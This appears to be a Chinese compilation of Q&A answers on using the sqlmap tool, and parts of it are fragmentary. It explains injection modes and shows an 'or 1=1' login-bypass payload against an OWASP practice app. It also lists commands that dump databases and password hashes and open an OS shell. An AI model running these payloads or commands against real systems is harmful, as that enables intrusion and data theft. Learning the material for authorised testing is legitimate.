本文目录一览:
- 1、如何用sqlmap写入文件步骤
- 2、怎么使用sqlmap html渗透
- 3、SQLmap使用方法?为什么按照网上的教程安装后使用网上说的命令却不能使用?
- 4、如何使用sqlmap进行sql注入
- 5、sqlmap.py如何使用
如何用sqlmap写入文件步骤
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
怎么使用sqlmap html渗透
使用sqlmap html渗透的应用举例:
1、以用户名“jonnybravo”和密码“momma”登录,之后进入用户查看页面,位于OWASP 2013 A1 SQL Injection Extract data User Info。要查看用户信息,需要输入用户ID与密码登录,之后就可以看到当前用户的信息了。
Username: jonnybravo’ or 1=1; –
该注入语句要做的就是从数据库查询用户jonnybravo,获取数据后立刻终止查询(利用单引号),之后紧接着一条OR语句,由于这是一条“if状态”查询语句,而且这里给出 “or 1=1”,表示该查询永远为真。1=1表示获取数据库中的所有记录,之后的;–表示结束查询,告诉数据库当前语句后面没有其它查询语句了。
2、将payload注入后,服务器泄露了数据库中的所有用户信息。如图2所示:
3、要使用SQLmap,只需要打开终端,输入SQLmap并回车,如下图所示:
SQLmap使用方法?为什么按照网上的教程安装后使用网上说的命令却不能使用?
运行sqlmap命令的位置不对,你当前的c:\Python27\目录下并没有sqlmap文件。试试更改当前目录为c:\Python27\sqlmap后在运行上述命令。
即在c:\Python27后面输入cd sqlmap 然后会进入到c:\Python27\sqlmap在这里输入sqlmap -u
如何使用sqlmap进行sql注入
输入命令sqlmap -u + “风险网址” 检测是否存在sql注入漏洞。
看到返回了 服务器的类型,web环境,数据库类型。确定存在漏洞我们开始下一步的注入。根据返回的数据库类型我们确定数据库为access数据库。使用--tables 猜解表。
猜解完表格后我们进一步猜解表的内容。
命令 : python sqlmap.py -u URL -T admin --columns
注意 暴力破解的线程数 最大为10 ,其他的参数可以直接回车。
猜解完表的内容我们可以直接猜解表列的内容。
5
等待一段时间后,程序工作完毕,查看结果。
sqlmap.py如何使用
linux安装:
linux安装了git的话直接git clone
// git clone
直接下载:
unzip ./master.zip
windows下的安装
安装Python2.6 然后设置环境变量。把python添加进去,比如我装到D:\Python26
就在path的最后加 ;D:\Python26
解压sqlmap到硬盘
比如D:/sqlmap,打开CMD,输入python D:\sqlmap\sqlmap.py 就可以用了。
列几个基本命令
./sqlmap.py –h //查看帮助信息
./sqlmap.py –u “” //get注入
./sqlmap.py –u “” --data “DATA”//post注入
./sqlmap.py –u “” --cookie “COOKIE”//修改请求时的cookie
./sqlmap.py –u “” --dbs //列数据库
./sqlmap.py –u “” –-users //列用户
./sqlmap.py –u “” –-passwords //获取密码hash
./sqlmap.py –u “” –-tables -D DB_NAME //列DB_NAME的表
./sqlmap.py –u “” –-columns –T TB_NAME -D DB_NAME //读取TB_NAME中的列
./sqlmap.py –u “” –-dump –C C1,C2,C3 –T TB_NAME -D DB_NAME //读字段C1,C2,C3数据
./sqlmap.py –u “” –-os-shell //取得一个shell